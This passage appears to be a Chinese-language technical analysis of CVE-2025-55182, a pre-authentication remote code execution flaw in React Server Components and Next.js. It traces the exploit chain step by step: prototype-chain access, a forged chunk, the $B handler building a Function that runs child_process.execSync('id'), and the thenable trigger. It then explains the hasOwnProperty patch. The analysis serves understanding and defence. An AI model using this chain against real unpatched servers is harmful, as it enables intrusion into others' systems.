// 所以再次调用 initializeModelChunk
function initializeModelChunk(chunk) { // chunk = fakeChunk
const response = chunk._response; // 伪造的 _response!
const json = chunk.value; // '{"then":"$B1337"}'
// 解析这个 JSON
const parsed = parseModel(response, json);
// 遇到 "$B1337"...
}
|
步骤 11: $B 处理器触发 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // parseModelString 解析 "$B1337"
function parseModelString(response, value) {
// value = "$B1337"
if (value[0] === '$' && value[1] === 'B') {
var id = value.slice(2); // "1337"
// 调用 response._formData.get(response._prefix + id)
// response = fakeChunk._response (伪造的!)
// response._formData.get = Function
// response._prefix = "throw new Error(...);"
return response._formData.get(response._prefix + id);
// ↓ 等价于:
return Function("throw new Error(require('child_process').execSync('id').toString());1337");
}
}
|
步骤 12: 创建恶意函数
1
2
3
4
5
6
7
8
9
10
| // Function 构造函数被调用
const maliciousFunction = Function(
"throw new Error(require('child_process').execSync('id').toString());1337"
);
// 这创建了一个函数:
function anonymous() {
throw new Error(require('child_process').execSync('id').toString());
1337 // 这行语法正确但不会执行
}
|
步骤 13: 函数被执行 - RCE!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // parseModel 返回:
const innerResult = {
then: maliciousFunction // 函数对象
};
// innerResult 是 thenable(then 是函数)
// 当被 await 时:
await innerResult;
// JavaScript 会调用:
innerResult.then(resolve, reject);
// 等价于:
maliciousFunction(resolve, reject);
// 函数执行!
// require('child_process').execSync('id') 在服务器上运行!
// 命令执行结果通过 throw Error 返回给攻击者
|
5.5 完整调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
| HTTP POST /
│
▼
handleAction()
│
▼
decodeReplyFromBusboy()
│
▼
getChunk(0) ─────────────────────────────────────────────┐
│ │
▼ │
await chunk0 ← chunk0.then() │
│ │
▼ │
ReactPromise.prototype.then() │
│ status === "resolved_model" │
▼ │
initializeModelChunk(chunk0) │
│ │
▼ │
parseModel('{"then":"$1:__proto__:then",...}') │
│ │
├──→ 解析 "$1:__proto__:then" │
│ │ │
│ ▼ │
│ getChunk(1) → 解析 "$@0" → Chunk0 对象 ─────────┘
│ │
│ ▼
│ Chunk0.__proto__ → ReactPromise.prototype
│ │
│ ▼
│ ReactPromise.prototype.then ← 返回
│
├──→ 解析 "$1:constructor:constructor"
│ │
│ ▼
│ Chunk0.constructor.constructor → Function ← 返回
│
▼
chunk0.value = fakeChunk(伪造对象)
│
▼
await fakeChunk ← fakeChunk.then()
│
▼
ReactPromise.prototype.then.call(fakeChunk)
│ fakeChunk.status === "resolved_model"
▼
initializeModelChunk(fakeChunk)
│ 使用伪造的 fakeChunk._response
▼
parseModel('{"then":"$B1337"}')
│
├──→ 解析 "$B1337"
│ │
│ ▼
│ response._formData.get(response._prefix + "1337")
│ │
│ ▼
│ Function("恶意代码;1337")
│ │
│ ▼
│ 返回恶意函数
│
▼
result = { then: maliciousFunction }
│
▼
await result ← result.then()
│
▼
maliciousFunction() 被调用
│
▼
require('child_process').execSync('id') 执行
│
▼
RCE 成功!命令在服务器执行!
|
六、为什么是 Pre-auth 漏洞
6.1 Next.js Server Action 处理流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| ┌─────────────────────────────────────────────────────────────────────────┐
│ Next.js Server Action 处理流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ HTTP 请求进入 │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 检查 Next-Action│ ← Header 存在即进入 Action 处理 │
│ │ Header 是否存在 │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 反序列化请求体 │ ← ⚠️ 漏洞在此触发! │
│ │ (Flight Protocol)│ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 验证 Action ID │ ← 永远不会执行到 │
│ │ (40字符哈希) │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 执行 Server │ ← 永远不会执行到 │
│ │ Function │ │
│ └─────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
6.2 代码证明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| // next/dist/server/app-render/action-handler.js (简化)
async function handleAction(req, res) {
const actionId = req.headers['next-action'];
// 第一步: 解析 multipart 数据(如果是 multipart 请求)
if (contentType?.includes('multipart/form-data')) {
const busboy = Busboy({ headers: req.headers });
// 收集表单数据...
// ⚠️ 关键: 这里调用 Flight 协议反序列化
// 漏洞在这一步触发,RCE 在这里发生
const boundActionArguments = await decodeReplyFromBusboy(
body,
webNextRequest.headers,
temporaryReferences
);
// 以下代码永远不会执行,因为上面已经 RCE 或抛出异常
}
// 第二步: 验证 Action ID
const action = await getActionFromId(actionId);
if (!action) {
throw new ActionNotFoundError(); // 永远不会到达
}
// 第三步: 执行 Action
return await action.apply(null, boundActionArguments); // 永远不会到达
}
|
七、漏洞修复分析
7.1 官方补丁
React 团队在多处添加了 hasOwnProperty 检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| // packages/react-server-dom-webpack/src/ReactFlightServerReference.js
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return undefined;
}
// 类似的修复应用于属性访问的其他位置
function getProperty(obj, key) {
- return obj[key];
+ if (hasOwnProperty.call(obj, key)) {
+ return obj[key];
+ }
+ return undefined;
}
|
7.2 修复原理
1
2
3
4
5
6
7
8
9
10
11
12
| const obj = { name: "test" };
// 修复前(存在漏洞):
obj["__proto__"] // → Object.prototype ← 可访问!
obj["constructor"] // → Object ← 可访问!
// 修复后:
if (hasOwnProperty.call(obj, "__proto__")) {
return obj["__proto__"];
}
// hasOwnProperty 返回 false,不会访问原型链
// 返回 undefined,攻击链断裂
|
7.3 为什么 hasOwnProperty 可以防御
| 属性 |
obj[key] |
hasOwnProperty.call(obj, key) |
来源 |
name |
"test" |
true |
自身属性 |
__proto__ |
Object.prototype |
false |
继承 |
constructor |
Object |
false |
继承 |
toString |
[Function] |
false |
继承 |
hasOwnProperty 只返回 true 对于对象自身定义的属性,不包括从原型链继承的属性。
八、总结
8.1 漏洞概述
CVE-2025-55182 是一个影响 React Server Components 和 Next.js 的严重远程代码执行漏洞。
8.2 关键技术点
| 方面 |
详情 |
| 根本原因 |
Flight 协议解析属性时缺少 hasOwnProperty 检查 |
| 利用方式 |
通过 __proto__ 访问原型链,获取 Function 构造函数 |
| 触发点 |
$@ 前缀获取原始 Chunk 对象 + $B 前缀触发函数调用 |
| Pre-auth |
漏洞在验证 Action ID 之前触发 |
8.3 利用链总结
1
2
3
| 原型链访问 → 获取 Chunk.prototype.then → 构造伪造 Chunk
→ 获取 Function 构造函数 → $B 触发 Function 调用
→ thenable 模式执行函数 → RCE
|
九、参考资料
- React Security Advisory: https://github.com/facebook/react/security/advisories
- Next.js Security Advisory: https://github.com/vercel/next.js/security/advisories
- React Flight Protocol: https://github.com/facebook/react/tree/main/packages/react-server
- Server Actions Documentation: https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations